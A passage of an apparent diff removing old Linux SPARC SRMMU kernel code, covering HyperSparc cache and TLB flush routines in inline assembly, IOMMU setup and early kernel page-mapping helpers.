%%o1, %%o4, %%o5 - 1: subcc %%o0, %%o5, %%o0 ! hyper_flush_cache_user - sta %%g0, [%%o0 + %%g0] %0 - sta %%g0, [%%o0 + %%o1] %0 - sta %%g0, [%%o0 + %%g1] %0 - sta %%g0, [%%o0 + %%g2] %0 - sta %%g0, [%%o0 + %%g3] %0 - sta %%g0, [%%o0 + %%g4] %0 - sta %%g0, [%%o0 + %%g5] %0 - bne 1b - sta %%g0, [%%o0 + %%o4] %0 - sta %%g0, [%%g0 + %%g0] %1 ! hyper_flush_whole_icache" - : : "i" (ASI_M_FLUSH_USER), "i" (ASI_M_FLUSH_IWHOLE)); - FLUSH_END -} - -/* The things we do for performance... */ -static void hypersparc_flush_cache_range(struct mm_struct *mm, unsigned long start, unsigned long end) -{ - FLUSH_BEGIN(mm) - __asm__ __volatile__(" - mov 0, %%g5 -1: ld [%%g6 + %0], %%g4 - orcc %%g0, %%g4, %%g0 - add %%g5, 1, %%g5 - bne 1b - save %%sp, -64, %%sp -2: subcc %%g5, 1, %%g5 - bne 2b - restore %%g0, %%g0, %%g0 - " : : "i" (UWINMASK_OFFSET)); -#if !defined(__svr4__) && !defined(__ELF__) - __asm__ __volatile__(" - sethi %hi(_vac_line_size), %g1 - ld [%g1 + %lo(_vac_line_size)], %o4 - sethi %hi(_vac_cache_size), %g2 - ld [%g2 + %lo(_vac_cache_size)], %o3"); -#else - __asm__ __volatile__(" - sethi %hi(vac_line_size), %g1 - ld [%g1 + %lo(vac_line_size)], %o4 - sethi %hi(vac_cache_size), %g2 - ld [%g2 + %lo(vac_cache_size)], %o3"); -#endif - /* Close your eyes... */ - __asm__ __volatile__(" - add %%o2, (%0 - 1), %%o2 - andn %%o1, (%0 - 1), %%o1 - add %%o4, %%o4, %%o5 - andn %%o2, (%0 - 1), %%o2 - add %%o4, %%o5, %%g1 - sub %%o2, %%o1, %%g4 - add %%o4, %%g1, %%g2 - sll %%o3, 2, %%g5 - add %%o4, %%g2, %%g3 - cmp %%g4, %%g5 - add %%o4, %%g3, %%g4 - blu 0f - add %%o4, %%g4, %%g5 - add %%o4, %%g5, %%g7 -1: subcc %%o3, %%g7, %%o3 - sta %%g0, [%%o3 + %%g0] %1 - sta %%g0, [%%o3 + %%o4] %1 - sta %%g0, [%%o3 + %%o5] %1 - sta %%g0, [%%o3 + %%g1] %1 - sta %%g0, [%%o3 + %%g2] %1 - sta %%g0, [%%o3 + %%g3] %1 - sta %%g0, [%%o3 + %%g4] %1 - bne 1b - sta %%g0, [%%o3 + %%g5] %1 - b,a 9f -0: ld [%%o0 + %3], %%o0 - mov %2, %%g7 - lda [%%g7] %4, %%o3 - sta %%o0, [%%g7] %4 - sethi %%hi(%0), %%g7 - sub %%o2, %%g7, %%o0 -1: or %%o0, 0x400, %%g7 - lda [%%g7] %5, %%g7 - orcc %%g7, 0x0, %%g0 - be,a 3f - mov %%o0, %%o2 - add %%o4, %%g5, %%g7 -2: sub %%o2, %%g7, %%o2 - sta %%g0, [%%o2 + %%g0] %6 - sta %%g0, [%%o2 + %%o4] %6 - sta %%g0, [%%o2 + %%o5] %6 - sta %%g0, [%%o2 + %%g1] %6 - sta %%g0, [%%o2 + %%g2] %6 - sta %%g0, [%%o2 + %%g3] %6 - andcc %%o2, 0xffc, %%g0 - sta %%g0, [%%o2 + %%g4] %6 - bne 2b - sta %%g0, [%%o2 + %%g5] %6 -3: sethi %%hi(%0), %%g7 - cmp %%o2, %%o1 - bne 1b - sub %%o2, %%g7, %%o0 - mov %8, %%g5 - lda [%%g5] %4, %%g0 - mov %2, %%g7 - sta %%o3, [%%g7] %4 -9: sta %%g0, [%%g0 + %%g0] %7 -" : : "i" (PAGE_SIZE), "i" (ASI_M_FLUSH_USER), "i" (SRMMU_CTX_REG), - "i" ((const unsigned long)(&(((struct mm_struct *)0)->context))), - "i" (ASI_M_MMUREGS), "i" (ASI_M_FLUSH_PROBE), "i" (ASI_M_FLUSH_PAGE), - "i" (ASI_M_FLUSH_IWHOLE), "i" (SRMMU_FAULT_STATUS)); - FLUSH_END -} - -/* HyperSparc requires a valid mapping where we are about to flush - * in order to check for a physical tag match during the flush. - */ -static void hypersparc_flush_cache_page(struct vm_area_struct *vma, unsigned long page) -{ - __asm__ __volatile__(" - ld [%%o0 + %0], %%g4 - ld [%%g4 + %1], %%o0 -" : : "i" ((const unsigned long)(&(((struct vm_area_struct *)0)->vm_mm))), - "i" ((const unsigned long)(&(((struct mm_struct *)0)->context)))); -#ifndef __SMP__ - __asm__ __volatile__(" - cmp %o0, -1 - bne 1f - mov 0, %g5 - retl"); -#else - __asm__ __volatile__("mov 0, %g5"); /* else we die a horrible death */ -#endif - __asm__ __volatile__(" -1: ld [%%g6 + %0], %%g4 ! flush user windows - orcc %%g0, %%g4, %%g0 - add %%g5, 1, %%g5 - bne 1b - save %%sp, -64, %%sp -2: subcc %%g5, 1, %%g5 - bne 2b - restore %%g0, %%g0, %%g0" - : : "i" (UWINMASK_OFFSET)); -#if !defined(__svr4__) && !defined(__ELF__) - __asm__ __volatile__(" - sethi %hi(_vac_line_size), %g1 - ld [%g1 + %lo(_vac_line_size)], %o4"); -#else - __asm__ __volatile__(" - sethi %hi(vac_line_size), %g1 - ld [%g1 + %lo(vac_line_size)], %o4"); -#endif - __asm__ __volatile__(" - mov %0, %%o3 - andn %%o1, (%4 - 1), %%o1 - lda [%%o3] %1, %%o2 - sta %%o0, [%%o3] %1 - or %%o1, 0x400, %%o5 - lda [%%o5] %3, %%o5 - orcc %%o5, 0x0, %%g0 - be 2f - sethi %%hi(%4), %%g7 - add %%o4, %%o4, %%o5 - add %%o1, %%g7, %%o1 - add %%o4, %%o5, %%g1 - add %%o4, %%g1, %%g2 - add %%o4, %%g2, %%g3 - add %%o4, %%g3, %%g4 - add %%o4, %%g4, %%g5 - add %%o4, %%g5, %%g7 -1: sub %%o1, %%g7, %%o1 ! hyper_flush_cache_page - sta %%g0, [%%o1 + %%g0] %5 - sta %%g0, [%%o1 + %%o4] %5 - sta %%g0, [%%o1 + %%o5] %5 - sta %%g0, [%%o1 + %%g1] %5 - sta %%g0, [%%o1 + %%g2] %5 - sta %%g0, [%%o1 + %%g3] %5 - andcc %%o1, 0xffc, %%g0 - sta %%g0, [%%o1 + %%g4] %5 - bne 1b - sta %%g0, [%%o1 + %%g5] %5 - sta %%g0, [%%g0 + %%g0] %6 -2: mov %0, %%g4 - sta %%o2, [%%g4] %1 - mov %2, %%g7 - retl - lda [%%g7] %1, %%g0 -" : : "i" (SRMMU_CTX_REG), "i" (ASI_M_MMUREGS), "i" (SRMMU_FAULT_STATUS), - "i" (ASI_M_FLUSH_PROBE), "i" (PAGE_SIZE), "i" (ASI_M_FLUSH_PAGE), - "i" (ASI_M_FLUSH_IWHOLE)); -} - -/* HyperSparc is copy-back. */ -static void hypersparc_flush_page_to_ram(unsigned long page) -{ -#if !defined(__svr4__) && !defined(__ELF__) - __asm__ __volatile__(" - sethi %hi(_vac_line_size), %g1 - ld [%g1 + %lo(_vac_line_size)], %o4"); -#else - __asm__ __volatile__(" - sethi %hi(vac_line_size), %g1 - ld [%g1 + %lo(vac_line_size)], %o4"); -#endif - __asm__ __volatile__(" - andn %%o0, (%0 - 1), %%o0 - add %%o4, %%o4, %%o5 - or %%o0, 0x400, %%g7 - lda [%%g7] %2, %%g5 - add %%o4, %%o5, %%g1 - orcc %%g5, 0x0, %%g0 - be 2f - add %%o4, %%g1, %%g2 - sethi %%hi(%0), %%g5 - add %%o4, %%g2, %%g3 - add %%o0, %%g5, %%o0 - add %%o4, %%g3, %%g4 - add %%o4, %%g4, %%g5 - add %%o4, %%g5, %%g7 -1: sub %%o0, %%g7, %%o0 - sta %%g0, [%%o0 + %%g0] %1 - sta %%g0, [%%o0 + %%o4] %1 - sta %%g0, [%%o0 + %%o5] %1 - sta %%g0, [%%o0 + %%g1] %1 - sta %%g0, [%%o0 + %%g2] %1 - sta %%g0, [%%o0 + %%g3] %1 - andcc %%o0, 0xffc, %%g0 - sta %%g0, [%%o0 + %%g4] %1 - bne 1b - sta %%g0, [%%o0 + %%g5] %1 -2: mov %3, %%g1 - lda [%%g1] %4, %%g0" - : /* no outputs */ - : "i" (PAGE_SIZE), "i" (ASI_M_FLUSH_PAGE), "i" (ASI_M_FLUSH_PROBE), - "i" (SRMMU_FAULT_STATUS), "i" (ASI_M_MMUREGS)); -} - -static void hypersparc_flush_chunk(unsigned long chunk) -{ - hypersparc_flush_page_to_ram(chunk); -} - -/* HyperSparc is IO cache coherent. */ -static void hypersparc_flush_page_for_dma(unsigned long page) -{ -} - -/* HyperSparc has unified I/D L2 cache, however it posseses a small on-chip - * ICACHE which must be flushed for the new style signals. - */ -static void hypersparc_flush_sig_insns(struct mm_struct *mm, unsigned long insn_addr) -{ - hyper_flush_whole_icache(); -} - -static void hypersparc_flush_cache_page_to_uncache(unsigned long page) -{ - page &= PAGE_MASK; - __asm__ __volatile__(" - lda [%0] %2, %%g4 - orcc %%g4, 0x0, %%g0 - be 2f - sethi %%hi(%7), %%g5 -1: subcc %%g5, %6, %%g5 ! hyper_flush_cache_page - bne 1b - sta %%g0, [%1 + %%g5] %3 -2: lda [%4] %5, %%g0" - : /* no outputs */ - : "r" (page | 0x400), "r" (page), "i" (ASI_M_FLUSH_PROBE), - "i" (ASI_M_FLUSH_PAGE), "r" (SRMMU_FAULT_STATUS), "i" (ASI_M_MMUREGS), - "r" (vac_line_size), "i" (PAGE_SIZE) - : "g4", "g5"); -} - -static unsigned long hypersparc_getpage(void) -{ - register unsigned long page asm("i0"); - - page = get_free_page(GFP_KERNEL); -#if !defined(__svr4__) && !defined(__ELF__) - __asm__ __volatile__(" - sethi %hi(_vac_line_size), %g1 - ld [%g1 + %lo(_vac_line_size)], %o4"); -#else - __asm__ __volatile__(" - sethi %hi(vac_line_size), %g1 - ld [%g1 + %lo(vac_line_size)], %o4"); -#endif - __asm__ __volatile__(" - sethi %%hi(%0), %%g5 - add %%o4, %%o4, %%o5 - add %%o4, %%o5, %%g1 - add %%o4, %%g1, %%g2 - add %%o4, %%g2, %%g3 - add %%i0, %%g5, %%o0 - add %%o4, %%g3, %%g4 - add %%o4, %%g4, %%g5 - add %%o4, %%g5, %%g7 -1: sub %%o0, %%g7, %%o0 - sta %%g0, [%%o0 + %%g0] %1 - sta %%g0, [%%o0 + %%o4] %1 - sta %%g0, [%%o0 + %%o5] %1 - sta %%g0, [%%o0 + %%g1] %1 - sta %%g0, [%%o0 + %%g2] %1 - sta %%g0, [%%o0 + %%g3] %1 - andcc %%o0, 0xffc, %%g0 - sta %%g0, [%%o0 + %%g4] %1 - bne 1b - sta %%g0, [%%o0 + %%g5] %1" - : /* no outputs */ - : "i" (PAGE_SIZE), "i" (ASI_M_FLUSH_PAGE)); - return page; -} - -static void hypersparc_flush_tlb_all(void) -{ - srmmu_flush_whole_tlb(); - module_stats.invall++; -} - -static void hypersparc_flush_tlb_mm(struct mm_struct *mm) -{ - FLUSH_BEGIN(mm) - __asm__ __volatile__(" - lda [%0] %3, %%g5 - sta %2, [%0] %3 - sta %%g0, [%1] %4 - sta %%g5, [%0] %3" - : /* no outputs */ - : "r" (SRMMU_CTX_REG), "r" (0x300), "r" (mm->context), - "i" (ASI_M_MMUREGS), "i" (ASI_M_FLUSH_PROBE) - : "g5"); - module_stats.invmm++; - FLUSH_END -} - -static void hypersparc_flush_tlb_range(struct mm_struct *mm, unsigned long start, unsigned long end) -{ - unsigned long size; - - FLUSH_BEGIN(mm) - start &= SRMMU_PGDIR_MASK; - size = SRMMU_PGDIR_ALIGN(end) - start; - __asm__ __volatile__(" - lda [%0] %5, %%g5 - sta %1, [%0] %5 - 1: subcc %3, %4, %3 - bne 1b - sta %%g0, [%2 + %3] %6 - sta %%g5, [%0] %5" - : /* no outputs */ - : "r" (SRMMU_CTX_REG), "r" (mm->context), "r" (start | 0x200), - "r" (size), "r" (SRMMU_PGDIR_SIZE), "i" (ASI_M_MMUREGS), - "i" (ASI_M_FLUSH_PROBE) - : "g5"); - module_stats.invrnge++; - FLUSH_END -} - -static void hypersparc_flush_tlb_page(struct vm_area_struct *vma, unsigned long page) -{ - struct mm_struct *mm = vma->vm_mm; - - FLUSH_BEGIN(mm) - __asm__ __volatile__(" - lda [%0] %3, %%g5 - sta %1, [%0] %3 - sta %%g0, [%2] %4 - sta %%g5, [%0] %3" - : /* no outputs */ - : "r" (SRMMU_CTX_REG), "r" (mm->context), "r" (page & PAGE_MASK), - "i" (ASI_M_MMUREGS), "i" (ASI_M_FLUSH_PROBE) - : "g5"); - module_stats.invpg++; - FLUSH_END -} - -static void hypersparc_flush_tlb_page_for_cbit(unsigned long page) -{ - srmmu_flush_tlb_page(page); -} - -static void hypersparc_ctxd_set(ctxd_t *ctxp, pgd_t *pgdp) -{ - hyper_flush_whole_icache(); - set_pte((pte_t *)ctxp, __pte((SRMMU_ET_PTD | (srmmu_v2p((unsigned long) pgdp) >> 4)))); -} - -static void hypersparc_update_rootmmu_dir(struct task_struct *tsk, pgd_t *pgdp) -{ - unsigned long page = ((unsigned long) pgdp) & PAGE_MASK; - - hypersparc_flush_page_to_ram(page); - if(tsk->mm->context != NO_CONTEXT) { - flush_cache_mm(tsk->mm); - ctxd_set(&srmmu_context_table[tsk->mm->context], pgdp); - flush_tlb_mm(tsk->mm); - } -} - -static void viking_no_mxcc_update_rootmmu_dir(struct task_struct *tsk, pgd_t *pgdp) -{ - viking_no_mxcc_flush_page((unsigned long)pgdp); - if(tsk->mm->context != NO_CONTEXT) { - flush_cache_mm(current->mm); - ctxd_set(&srmmu_context_table[tsk->mm->context], pgdp); - flush_tlb_mm(current->mm); - } -} - -static void cypress_update_rootmmu_dir(struct task_struct *tsk, pgd_t *pgdp) -{ - register unsigned long a, b, c, d, e, f, g; - unsigned long page = ((unsigned long) pgdp) & PAGE_MASK; - unsigned long line; - - a = 0x20; b = 0x40; c = 0x60; d = 0x80; e = 0xa0; f = 0xc0; g = 0xe0; - page &= PAGE_MASK; - line = (page + PAGE_SIZE) - 0x100; - goto inside; - do { - line -= 0x100; - inside: - __asm__ __volatile__("sta %%g0, [%0] %1\n\t" - "sta %%g0, [%0 + %2] %1\n\t" - "sta %%g0, [%0 + %3] %1\n\t" - "sta %%g0, [%0 + %4] %1\n\t" - "sta %%g0, [%0 + %5] %1\n\t" - "sta %%g0, [%0 + %6] %1\n\t" - "sta %%g0, [%0 + %7] %1\n\t" - "sta %%g0, [%0 + %8] %1\n\t" : : - "r" (line), - "i" (ASI_M_FLUSH_PAGE), - "r" (a), "r" (b), "r" (c), "r" (d), - "r" (e), "r" (f), "r" (g)); - } while(line != page); - - if(tsk->mm->context != NO_CONTEXT) { - flush_cache_mm(current->mm); - ctxd_set(&srmmu_context_table[tsk->mm->context], pgdp); - flush_tlb_mm(current->mm); - } -} - -static void hypersparc_switch_to_context(struct task_struct *tsk) -{ - hyper_flush_whole_icache(); - if(tsk->mm->context == NO_CONTEXT) { - alloc_context(tsk->mm); - flush_cache_mm(tsk->mm); - ctxd_set(&srmmu_context_table[tsk->mm->context], tsk->mm->pgd); - flush_tlb_mm(tsk->mm); - } - srmmu_set_context(tsk->mm->context); -} - -static void hypersparc_init_new_context(struct mm_struct *mm) -{ - hyper_flush_whole_icache(); - - alloc_context(mm); - - flush_cache_mm(mm); - ctxd_set(&srmmu_context_table[mm->context], mm->pgd); - flush_tlb_mm(mm); - - if(mm == current->mm) - srmmu_set_context(mm->context); -} - -/* IOMMU things go here. */ - -#define LONG_ALIGN(x) (((x)+(sizeof(long))-1)&~((sizeof(long))-1)) - -#define IOPERM (IOPTE_CACHE | IOPTE_WRITE | IOPTE_VALID) -#define MKIOPTE(phys) (((((phys)>>4) & IOPTE_PAGE) | IOPERM) & ~IOPTE_WAZ) - -static inline void srmmu_map_dvma_pages_for_iommu(struct iommu_struct *iommu, - unsigned long kern_end) -{ - unsigned long first = page_offset; - unsigned long last = kern_end; - iopte_t *iopte = iommu->page_table; - - iopte += ((first - iommu->start) >> PAGE_SHIFT); - while(first <= last) { - *iopte++ = __iopte(MKIOPTE(srmmu_v2p(first))); - first += PAGE_SIZE; - } -} - -unsigned long iommu_init(int iommund, unsigned long memory_start, - unsigned long memory_end, struct linux_sbus *sbus) -{ - unsigned int impl, vers, ptsize; - unsigned long tmp; - struct iommu_struct *iommu; - struct linux_prom_registers iommu_promregs[PROMREG_MAX]; - - memory_start = LONG_ALIGN(memory_start); - iommu = (struct iommu_struct *) memory_start; - memory_start += sizeof(struct iommu_struct); - prom_getproperty(iommund, "reg", (void *) iommu_promregs, - sizeof(iommu_promregs)); - iommu->regs = (struct iommu_regs *) - sparc_alloc_io(iommu_promregs[0].phys_addr, 0, (PAGE_SIZE * 3), - "IOMMU registers", iommu_promregs[0].which_io, 0x0); - if(!iommu->regs) - panic("Cannot map IOMMU registers."); - impl = (iommu->regs->control & IOMMU_CTRL_IMPL) >> 28; - vers = (iommu->regs->control & IOMMU_CTRL_VERS) >> 24; - tmp = iommu->regs->control; - tmp &= ~(IOMMU_CTRL_RNGE); - switch(page_offset & 0xf0000000) { - case 0xf0000000: - tmp |= (IOMMU_RNGE_256MB | IOMMU_CTRL_ENAB); - iommu->plow = iommu->start = 0xf0000000; - break; - case 0xe0000000: - tmp |= (IOMMU_RNGE_512MB | IOMMU_CTRL_ENAB); - iommu->plow = iommu->start = 0xe0000000; - break; - case 0xd0000000: - case 0xc0000000: - tmp |= (IOMMU_RNGE_1GB | IOMMU_CTRL_ENAB); - iommu->plow = iommu->start = 0xc0000000; - break; - case 0xb0000000: - case 0xa0000000: - case 0x90000000: - case 0x80000000: - tmp |= (IOMMU_RNGE_2GB | IOMMU_CTRL_ENAB); - iommu->plow = iommu->start = 0x80000000; - break; - } - iommu->regs->control = tmp; - iommu_invalidate(iommu->regs); - iommu->end = 0xffffffff; - - /* Allocate IOMMU page table */ - ptsize = iommu->end - iommu->start + 1; - ptsize = (ptsize >> PAGE_SHIFT) * sizeof(iopte_t); - - /* Stupid alignment constraints give me a headache. */ - memory_start = PAGE_ALIGN(memory_start); - memory_start = (((memory_start) + (ptsize - 1)) & ~(ptsize - 1)); - iommu->lowest = iommu->page_table = (iopte_t *) memory_start; - memory_start += ptsize; - - /* Initialize new table. */ - flush_cache_all(); - memset(iommu->page_table, 0, ptsize); - srmmu_map_dvma_pages_for_iommu(iommu, memory_end); - if(viking_mxcc_present) { - unsigned long start = (unsigned long) iommu->page_table; - unsigned long end = (start + ptsize); - while(start < end) { - viking_mxcc_flush_page(start); - start += PAGE_SIZE; - } - } else if(flush_page_for_dma == viking_no_mxcc_flush_page) { - unsigned long start = (unsigned long) iommu->page_table; - unsigned long end = (start + ptsize); - while(start < end) { - viking_no_mxcc_flush_page(start); - start += PAGE_SIZE; - } - } - flush_tlb_all(); - iommu->regs->base = srmmu_v2p((unsigned long) iommu->page_table) >> 4; - iommu_invalidate(iommu->regs); - - sbus->iommu = iommu; - printk("IOMMU: impl %d vers %d page table at %p of size %d bytes\n", - impl, vers, iommu->page_table, ptsize); - return memory_start; -} - -void iommu_sun4d_init(int sbi_node, struct linux_sbus *sbus) -{ - u32 *iommu; - struct linux_prom_registers iommu_promregs[PROMREG_MAX]; - - prom_getproperty(sbi_node, "reg", (void *) iommu_promregs, - sizeof(iommu_promregs)); - iommu = (u32 *) - sparc_alloc_io(iommu_promregs[2].phys_addr, 0, (PAGE_SIZE * 16), - "XPT", iommu_promregs[2].which_io, 0x0); - if(!iommu) - panic("Cannot map External Page Table."); - - /* Initialize new table. */ - flush_cache_all(); - memset(iommu, 0, 16 * PAGE_SIZE); - if(viking_mxcc_present) { - unsigned long start = (unsigned long) iommu; - unsigned long end = (start + 16 * PAGE_SIZE); - while(start < end) { - viking_mxcc_flush_page(start); - start += PAGE_SIZE; - } - } else if(flush_page_for_dma == viking_no_mxcc_flush_page) { - unsigned long start = (unsigned long) iommu; - unsigned long end = (start + 16 * PAGE_SIZE); - while(start < end) { - viking_no_mxcc_flush_page(start); - start += PAGE_SIZE; - } - } - flush_tlb_all(); - - sbus->iommu = (struct iommu_struct *)iommu; -} - -static char *srmmu_get_scsi_one(char *vaddr, unsigned long len, struct linux_sbus *sbus) -{ - unsigned long page = ((unsigned long) vaddr) & PAGE_MASK; - - while(page < ((unsigned long)(vaddr + len))) { - flush_page_for_dma(page); - page += PAGE_SIZE; - } - return vaddr; -} - -static void srmmu_get_scsi_sgl(struct mmu_sglist *sg, int sz, struct linux_sbus *sbus) -{ - unsigned long page; - - while(sz >= 0) { - page = ((unsigned long) sg[sz].addr) & PAGE_MASK; - while(page < (unsigned long)(sg[sz].addr + sg[sz].len)) { - flush_page_for_dma(page); - page += PAGE_SIZE; - } - sg[sz].dvma_addr = (char *) (sg[sz].addr); - sz--; - } -} - -static void srmmu_release_scsi_one(char *vaddr, unsigned long len, struct linux_sbus *sbus) -{ -} - -static void srmmu_release_scsi_sgl(struct mmu_sglist *sg, int sz, struct linux_sbus *sbus) -{ -} - -static unsigned long mempool; - -/* NOTE: All of this startup code assumes the low 16mb (approx.) of - * kernel mappings are done with one single contiguous chunk of - * ram. On small ram machines (classics mainly) we only get - * around 8mb mapped for us. - */ - -static unsigned long kbpage; - -/* Some dirty hacks to abstract away the painful boot up init. */ -static inline unsigned long srmmu_early_paddr(unsigned long vaddr) -{ - return ((vaddr - KERNBASE) + kbpage); -} - -static inline void srmmu_early_pgd_set(pgd_t *pgdp, pmd_t *pmdp) -{ - set_pte((pte_t *)pgdp, __pte((SRMMU_ET_PTD | (srmmu_early_paddr((unsigned long) pmdp) >> 4)))); -} - -static inline void srmmu_early_pmd_set(pmd_t *pmdp, pte_t *ptep) -{ - set_pte((pte_t *)pmdp, __pte((SRMMU_ET_PTD | (srmmu_early_paddr((unsigned long) ptep) >> 4)))); -} - -static inline unsigned long srmmu_early_pgd_page(pgd_t pgd) -{ - return (((pgd_val(pgd) & SRMMU_PTD_PMASK) << 4) - kbpage) + KERNBASE; -} - -static inline unsigned long srmmu_early_pmd_page(pmd_t pmd) -{ - return (((pmd_val(pmd) & SRMMU_PTD_PMASK) << 4) - kbpage) + KERNBASE; -} - -static inline pmd_t *srmmu_early_pmd_offset(pgd_t *dir, unsigned long address) -{ - return (pmd_t *) srmmu_early_pgd_page(*dir) + ((address >> SRMMU_PMD_SHIFT) & (SRMMU_PTRS_PER_PMD - 1)); -} - -static inline pte_t *srmmu_early_pte_offset(pmd_t *dir, unsigned long address) -{ - return (pte_t *) srmmu_early_pmd_page(*dir) + ((address >> PAGE_SHIFT) & (SRMMU_PTRS_PER_PTE - 1)); -} - -static inline void srmmu_allocate_ptable_skeleton(unsigned long start, unsigned long end) -{ - pgd_t *pgdp; - pmd_t *pmdp; - pte_t *ptep; - - while(start < end) { - pgdp = srmmu_pgd_offset(init_task.mm, start); - if(srmmu_pgd_none(*pgdp)) { - pmdp = sparc_init_alloc(&mempool, SRMMU_PMD_TABLE_SIZE); - srmmu_early_pgd_set(pgdp, pmdp); - } - pmdp = srmmu_early_pmd_offset(pgdp, start); - if(srmmu_pmd_none(*pmdp)) { - ptep = sparc_init_alloc(&mempool, SRMMU_PTE_TABLE_SIZE); - srmmu_early_pmd_set(pmdp, ptep); - } - start = (start + SRMMU_PMD_SIZE) & SRMMU_PMD_MASK; - } -} - -/* This is much cleaner than poking around physical address space - * looking at the prom's page table directly which is what most - * other OS's do. Yuck... this is much better. - */ -void srmmu_inherit_prom_mappings(unsigned long start,unsigned long end) -{ - pgd_t *pgdp; - pmd_t *pmdp; - pte_t *ptep; - int what = 0; /* 0 = normal-pte, 1 = pmd-level pte, 2 = pgd-level pte */ - unsigned long prompte; - - while(start <= end) { - if (start == 0) - break; /* probably wrap around */ - if(start == 0xfef00000) - start = KADB_DEBUGGER_BEGVM; - if(!(prompte = srmmu_hwprobe(start))) { - start += PAGE_SIZE; - continue; - } - - /* A red snapper, see what it really is. */ - what = 0; - - if(!(start & ~(SRMMU_PMD_MASK))) { - if(srmmu_hwprobe((start-PAGE_SIZE) + SRMMU_PMD_SIZE) == prompte) - what = 1; - } - - if(!(start & ~(SRMMU_PGDIR_MASK))) { - if(srmmu_hwprobe((start-PAGE_SIZE) + SRMMU_PGDIR_SIZE) == - prompte) - what = 2; - } - - pgdp = srmmu_pgd_offset(init_task.mm, start); - if(what == 2) { - *pgdp = __pgd(prompte); - start += SRMMU_PGDIR_SIZE; - continue; - } - if(srmmu_pgd_none(*pgdp)) { - pmdp = sparc_init_alloc(&mempool, SRMMU_PMD_TABLE_SIZE); - srmmu_early_pgd_set(pgdp, pmdp); - } - pmdp = srmmu_early_pmd_offset(pgdp, start); - if(what == 1) { - *pmdp = __pmd(prompte); - start += SRMMU_PMD_SIZE; - continue; - } - if(srmmu_pmd_none(*pmdp)) { - ptep = sparc_init_alloc(&mempool, SRMMU_PTE_TABLE_SIZE); - srmmu_early_pmd_set(pmdp, ptep); - } - ptep = srmmu_early_pte_offset(pmdp, start); - *ptep = __pte(prompte); - start += PAGE_SIZE; - } -} - -#ifdef CONFIG_SBUS -static void srmmu_map_dma_area(unsigned long addr, int len) -{ - unsigned long page, end; - pgprot_t dvma_prot; - struct iommu_struct *iommu = SBus_chain->iommu; - iopte_t *iopte = iommu->page_table; - iopte_t *iopte_first = iopte; - - if(viking_mxcc_present) - dvma_prot = __pgprot(SRMMU_CACHE | SRMMU_ET_PTE | SRMMU_PRIV); - else - dvma_prot = __pgprot(SRMMU_ET_PTE | SRMMU_PRIV); - - iopte += ((addr - iommu->start) >> PAGE_SHIFT); - end = PAGE_ALIGN((addr + len)); - while(addr < end) { - page = get_free_page(GFP_KERNEL); - if(!page) { - prom_printf("alloc_dvma: Cannot get a dvma page\n"); - prom_halt(); - } else { - pgd_t *pgdp; - pmd_t *pmdp; - pte_t *ptep; - - pgdp = srmmu_pgd_offset(init_task.mm, addr); - pmdp = srmmu_pmd_offset(pgdp, addr); - ptep = srmmu_pte_offset(pmdp, addr); - - set_pte(ptep, pte_val(srmmu_mk_pte(page, dvma_prot))); - - iopte_val(*iopte++) = MKIOPTE(srmmu_v2p(page)); - } - addr += PAGE_SIZE; - } - flush_cache_all(); - if(viking_mxcc_present) { - unsigned long start = ((unsigned long) iopte_first) & PAGE_MASK; - unsigned long end = PAGE_ALIGN(((unsigned long) iopte)); - while(start < end) { - viking_mxcc_flush_page(start); - start += PAGE_SIZE; - } - } else if(flush_page_for_dma == viking_no_mxcc_flush_page) { - unsigned long start = ((unsigned long) iopte_first) & PAGE_MASK; - unsigned long end = PAGE_ALIGN(((unsigned long) iopte)); - while(start < end) { - viking_no_mxcc_flush_page(start); - start += PAGE_SIZE; - } - } - flush_tlb_all(); - iommu_invalidate(iommu->regs); -} -#endif - -/* #define DEBUG_MAP_KERNEL */ - -#ifdef DEBUG_MAP_KERNEL -#define MKTRACE(foo) prom_printf foo -#else -#define MKTRACE(foo) -#endif - -static int lots_of_ram = 0; -static int large_pte_optimize = 1; - -#define KERNEL_PTE(page_shifted) ((page_shifted)|SRMMU_CACHE|SRMMU_PRIV|SRMMU_VALID) - -/* Create a third-level SRMMU 16MB page mapping. */ -static inline void do_large_mapping(unsigned long vaddr, unsigned long phys_base) -{ - pgd_t *pgdp = srmmu_pgd_offset(init_task.mm, vaddr); - unsigned long big_pte; - - MKTRACE(("dlm[v<%08lx>-->p<%08lx>]", vaddr, phys_base)); - big_pte = KERNEL_PTE(phys_base >> 4); - *pgdp = __pgd(big_pte); -} - -/* Create second-level SRMMU 256K medium sized page mappings. */ -static inline void do_medium_mapping(unsigned long vaddr, unsigned long vend, - unsigned long phys_base) -{ - pgd_t *pgdp; - pmd_t *pmdp; - unsigned long medium_pte; - - MKTRACE(("dmm[v<%08lx,%08lx>-->p<%08lx>]", vaddr, vend, phys_base)); - while(vaddr < vend) { - pgdp = srmmu_pgd_offset(init_task.mm, vaddr); - pmdp = srmmu_early_pmd_offset(pgdp, vaddr); - medium_pte = KERNEL_PTE(phys_base >> 4); - *pmdp = __pmd(medium_pte); - phys_base += SRMMU_PMD_SIZE; - vaddr += SRMMU_PMD_SIZE; - } -} - -/* Create a normal set of SRMMU page mappings for the virtual range - * START to END, using physical pages beginning at PHYS_BASE. - */ -static inline void do_small_mapping(unsigned long start, unsigned long end, - unsigned long phys_base) -{ - pgd_t *pgdp; - pmd_t *pmdp; - pte_t *ptep; - - MKTRACE(("dsm[v<%08lx,%08lx>-->p<%08lx>]", start, end, phys_base)); - while(start < end) { - pgdp = srmmu_pgd_offset(init_task.mm, start); - pmdp = srmmu_early_pmd_offset(pgdp, start); - ptep = srmmu_early_pte_offset(pmdp, start); - - *ptep = __pte(KERNEL_PTE(phys_base >> 4)); - phys_base += PAGE_SIZE; - start += PAGE_SIZE; - } -} - -/* Look in the sp_bank for the given physical page, return the - * index number the entry was found in, or -1 for not found. - */ -static inline int find_in_spbanks(unsigned long phys_page) -{ - int entry; - - for(entry = 0; sp_banks[entry].num_bytes; entry++) { - unsigned long start = sp_banks[entry].base_addr; - unsigned long end = start + sp_banks[entry].num_bytes; - - if((start <= phys_page) && (phys_page < end)) - return entry; - } - return -1; -} - -/* Find an spbank entry not mapped as of yet, TAKEN_VECTOR is an - * array of char's, each member indicating if that spbank is mapped - * yet or not. - */ -static inline int find_free_spbank(char *taken_vector) -{ - int entry; - - for(entry = 0; sp_banks[entry].num_bytes; entry++) - if(!taken_vector[entry]) - break; - return entry; -} - -/* Same as above, but with a given bank size limit BLIMIT. */ -static inline int find_free_spbank_limited(char *taken_vector, unsigned long limit) -{ - int entry; - - for(entry = 0; sp_banks[entry].num_bytes; entry++) - if(!taken_vector[entry] && - (sp_banks[entry].num_bytes < limit)) - break; - return entry; -} 